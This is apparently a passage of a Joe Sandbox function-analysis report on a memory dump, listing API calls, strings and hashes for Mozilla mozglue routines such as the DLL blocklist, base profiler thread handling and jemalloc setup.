Function 6BCCBB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6BCCBC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6BCCBC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6BCCBC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCCBE33
VerSetConditionMask.NTDLL ref: 6BCCBE65
VerSetConditionMask.NTDLL ref: 6BCCBE71
VerSetConditionMask.NTDLL ref: 6BCCBE7D
VerSetConditionMask.NTDLL ref: 6BCCBE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCCBE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCCBEE4
VerSetConditionMask.NTDLL ref: 6BCCBF15
VerSetConditionMask.NTDLL ref: 6BCCBF21
VerSetConditionMask.NTDLL ref: 6BCCBF2D
VerSetConditionMask.NTDLL ref: 6BCCBF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCCBF47

Part of subcall function 6BD0AAE0: GetCurrentThreadId.KERNEL32 ref: 6BD0AAF8
Part of subcall function 6BD0AAE0: EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCBF9F), ref: 6BD0AB08
Part of subcall function 6BD0AAE0: LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB6B

free.MOZGLUE(00000000), ref: 6BCCBFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6BCCC014

Part of subcall function 6BD0AC20: CreateFileW.KERNEL32 ref: 6BD0AC52
Part of subcall function 6BD0AC20: CreateFileMappingW.KERNEL32 ref: 6BD0AC7D
Part of subcall function 6BD0AC20: GetSystemInfo.KERNEL32 ref: 6BD0AC98
Part of subcall function 6BD0AC20: MapViewOfFile.KERNEL32 ref: 6BD0ACB0
Part of subcall function 6BD0AC20: GetSystemInfo.KERNEL32 ref: 6BD0ACCD
Part of subcall function 6BD0AC20: MapViewOfFile.KERNEL32 ref: 6BD0AD05
Part of subcall function 6BD0AC20: UnmapViewOfFile.KERNEL32 ref: 6BD0AD1C
Part of subcall function 6BD0AC20: CloseHandle.KERNEL32 ref: 6BD0AD28
Part of subcall function 6BD0AC20: UnmapViewOfFile.KERNEL32 ref: 6BD0AD37
Part of subcall function 6BD0AC20: CloseHandle.KERNEL32 ref: 6BD0AD43

Part of subcall function 6BD0AE70: GetCurrentThreadId.KERNEL32 ref: 6BD0AE85
Part of subcall function 6BD0AE70: EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCC034), ref: 6BD0AE96
Part of subcall function 6BD0AE70: LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,6BCCC034), ref: 6BD0AEBD

Strings

LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6BCCBF5B
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6BCCBDDD
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6BCCBFCF
accelerator.dll, xrefs: 6BCCBC8E, 6BCCBC9D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: 7d50c2103edf373a301b103fe86523a4364040b89766515462e93112904a612c
Instruction ID: f8e8dde4572d1b7213682e69d2af31753c5a2048c873f079d6e2fb2278925f38
Opcode Fuzzy Hash: 7d50c2103edf373a301b103fe86523a4364040b89766515462e93112904a612c
Instruction Fuzzy Hash: 0FE12770A143489BE7108F64C881B6FB7E5EFA5714F04492DE9858B281FB78EA44C7A3

Function 6BCEE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6BCEB9F1,?), ref: 6BCE7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BCEDCF5), ref: 6BCEE92D
GetCurrentThreadId.KERNEL32 ref: 6BCEEA4F
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEA5C
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEA80
GetCurrentThreadId.KERNEL32 ref: 6BCEEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BCEDCF5), ref: 6BCEEA92
GetCurrentThreadId.KERNEL32 ref: 6BCEEB11
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BCEEB3C
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB5B

Part of subcall function 6BCE5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BCEEB71), ref: 6BCE57AB

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BCEEBAC

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEEBC1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000), ref: 6BCEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BCEEBE5
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,00000000), ref: 6BCEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEC46
CloseHandle.KERNEL32(?), ref: 6BCEEC55
free.MOZGLUE(00000000), ref: 6BCEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BCEEA9B
[I %d/%d] profiler_start, xrefs: 6BCEEBB4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 61c2ce8971ba840fef3f4037341c2b492ead57c352b18a002a766f3afdfbd8e3
Instruction ID: b0ca00b29916d842f92b1c2e2d18bdaaaa0b742a87ed297830e03f8b957651ac
Opcode Fuzzy Hash: 61c2ce8971ba840fef3f4037341c2b492ead57c352b18a002a766f3afdfbd8e3
Instruction Fuzzy Hash: 97A15A70620742CFEB009F24D484B66B7A5FF85358F10452AEB198F341EBB9DA02C771

Function 6BCEF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BCEF8F9

Part of subcall function 6BCB6390: GetCurrentThreadId.KERNEL32 ref: 6BCB63D0
Part of subcall function 6BCB6390: AcquireSRWLockExclusive.KERNEL32 ref: 6BCB63DF
Part of subcall function 6BCB6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6BCB640E

ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF93A
GetCurrentThreadId.KERNEL32 ref: 6BCEF98A
GetCurrentThreadId.KERNEL32 ref: 6BCEF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF716

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

Part of subcall function 6BCAB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6BCAB5E0

GetCurrentThreadId.KERNEL32 ref: 6BCEF739
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF746
GetCurrentThreadId.KERNEL32 ref: 6BCEF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6BD2385B,00000002,?,?,?,?,?), ref: 6BCEF829
free.MOZGLUE(?,?,00000000,?), ref: 6BCEF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6BCEF866
free.MOZGLUE(?), ref: 6BCEFA0C

Part of subcall function 6BCB5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BCB55E1), ref: 6BCB5E8C
Part of subcall function 6BCB5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB5E9D
Part of subcall function 6BCB5E60: GetCurrentThreadId.KERNEL32 ref: 6BCB5EAB
Part of subcall function 6BCB5E60: GetCurrentThreadId.KERNEL32 ref: 6BCB5EB8
Part of subcall function 6BCB5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB5ECF
Part of subcall function 6BCB5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6BCB5F27
Part of subcall function 6BCB5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6BCB5F47
Part of subcall function 6BCB5E60: GetCurrentProcess.KERNEL32 ref: 6BCB5F53
Part of subcall function 6BCB5E60: GetCurrentThread.KERNEL32 ref: 6BCB5F5C
Part of subcall function 6BCB5E60: GetCurrentProcess.KERNEL32 ref: 6BCB5F66
Part of subcall function 6BCB5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6BCB5F7E

free.MOZGLUE(?), ref: 6BCEF9C5
free.MOZGLUE(?), ref: 6BCEF9DA

Strings

" attempted to re-register as ", xrefs: 6BCEF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6BCEF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6BCEF71F
Thread , xrefs: 6BCEF789

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 3f9491c2e79ec087ab809bc72f1d0885f148b32d23451f25188993d9636a9b5f
Instruction ID: 259c2af72714d634cc93c45075c458df8ce1b1b4a8e837d776bc4f223203e8e6
Opcode Fuzzy Hash: 3f9491c2e79ec087ab809bc72f1d0885f148b32d23451f25188993d9636a9b5f
Instruction Fuzzy Hash: 84812370920744DFEB108F24D841A6EB7A5BF85318F40446DEA859B351FB38DA46CBB2

Function 6BCB4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6BCB4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BCB41F1
VerSetConditionMask.NTDLL ref: 6BCB4223
VerSetConditionMask.NTDLL ref: 6BCB422A
VerSetConditionMask.NTDLL ref: 6BCB4231
VerSetConditionMask.NTDLL ref: 6BCB4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCB4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BCB4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6BCB427A
FreeLibrary.KERNEL32(?), ref: 6BCB4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6BCB42C4
VerSetConditionMask.NTDLL ref: 6BCB42F6
VerSetConditionMask.NTDLL ref: 6BCB4302
VerSetConditionMask.NTDLL ref: 6BCB4309
VerSetConditionMask.NTDLL ref: 6BCB4310
VerSetConditionMask.NTDLL ref: 6BCB4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BCB4324

Strings

SetProcessDpiAwareness, xrefs: 6BCB4274
Shcore.dll, xrefs: 6BCB425E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: f3c1ad8be8b530ef0f125948bca512688a973cebc274dfcfb9eb254633ea9dc1
Instruction ID: 734156b075afa53cad0cd195df5b01f5ce28700f36faeabe37396fbf53265773
Opcode Fuzzy Hash: f3c1ad8be8b530ef0f125948bca512688a973cebc274dfcfb9eb254633ea9dc1
Instruction Fuzzy Hash: A8510571A582146BFB105B74CD09BAEB768EF86B50F054529FA059F1C0EB78DE40CBA1

Function 6BCEEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEEE60
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEE6D
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEEA5
CloseHandle.KERNEL32(?), ref: 6BCEEEB4
free.MOZGLUE(00000000), ref: 6BCEEEBB
GetCurrentThreadId.KERNEL32 ref: 6BCEEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEEECF

Part of subcall function 6BCEDE60: GetCurrentThreadId.KERNEL32 ref: 6BCEDE73
Part of subcall function 6BCEDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6BCB4A68), ref: 6BCEDE7B
Part of subcall function 6BCEDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6BCB4A68), ref: 6BCEDEB8
Part of subcall function 6BCEDE60: free.MOZGLUE(00000000,?,6BCB4A68), ref: 6BCEDEFE
Part of subcall function 6BCEDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6BCEDF38

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

GetCurrentThreadId.KERNEL32 ref: 6BCEEF1E
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEF2B
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEF59
GetCurrentThreadId.KERNEL32 ref: 6BCEEFB0
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEFBD
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEFE1
GetCurrentThreadId.KERNEL32 ref: 6BCEEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF000

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCEF02F

Part of subcall function 6BCEF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCEF09B
Part of subcall function 6BCEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCEF0AC
Part of subcall function 6BCEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCEF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6BCEF008
[I %d/%d] profiler_stop, xrefs: 6BCEEED7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 295dca9185414ed30fa1f9e52b0e56f275d6db011d5f194b1c13f89249218702
Instruction ID: ec47a96ed8353d552d068d389693f1944cb19cb020f7993a987efc47abddc84b
Opcode Fuzzy Hash: 295dca9185414ed30fa1f9e52b0e56f275d6db011d5f194b1c13f89249218702
Instruction Fuzzy Hash: F351F535420292DFFF005B64D449B55FB64EB46368F100957EB158B280E7BDDA46C7B2

Function 6BCDD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2E804), ref: 6BCDD047
GetSystemInfo.KERNEL32(?), ref: 6BCDD093
__Init_thread_footer.LIBCMT ref: 6BCDD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BD2E810,00000040), ref: 6BCDD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2E7B8,00001388), ref: 6BCDD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2E744,00001388), ref: 6BCDD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2E784,00001388), ref: 6BCDD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2E7DC,00001388), ref: 6BCDD1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BCDD322
MOZ_CRASH(), xrefs: 6BCDD277
MALLOC_OPTIONS, xrefs: 6BCDD0CB
Compile-time page size does not divide the runtime one., xrefs: 6BCDD26D
<jemalloc>, xrefs: 6BCDD268, 6BCDD311

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: ffe299649b20ee9675168c99cc0a0c83a647592c91583c815ad135f28e8bec8a
Instruction ID: 93a9836d1c349b894d182841725c195311ed6f2ee693340f0d22754b0352fd94
Opcode Fuzzy Hash: ffe299649b20ee9675168c99cc0a0c83a647592c91583c815ad135f28e8bec8a
Instruction Fuzzy Hash: 0B81E074DA12809BFB048FB8C945B69B7A5FB46715F10016BEB019F380E779DA05CFA1

Function 6BCEFAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEFADC
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEFAE9
GetCurrentThreadId.KERNEL32 ref: 6BCEFB31
GetCurrentThreadId.KERNEL32 ref: 6BCEFB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BCEFBF6
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEFC50

Strings

[D %d/%d] profiler_unregister_thread: %s, xrefs: 6BCEFC94
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6BCEFD15

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 6347bb4de6a3c2c1f6572b828d6d1edf08c345b950d54f53e514cb5b7a1472ae
Instruction ID: 32820cd1bce1a4c9faa9d6914227947bd4ac74878d074088d79f194e276a4f07
Opcode Fuzzy Hash: 6347bb4de6a3c2c1f6572b828d6d1edf08c345b950d54f53e514cb5b7a1472ae
Instruction Fuzzy Hash: 8871F171915780CFE710CF28D445B5AB7E0FF85708F11496AEA498B351F778EA06CBA2

Function 6BCB5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB5E9D

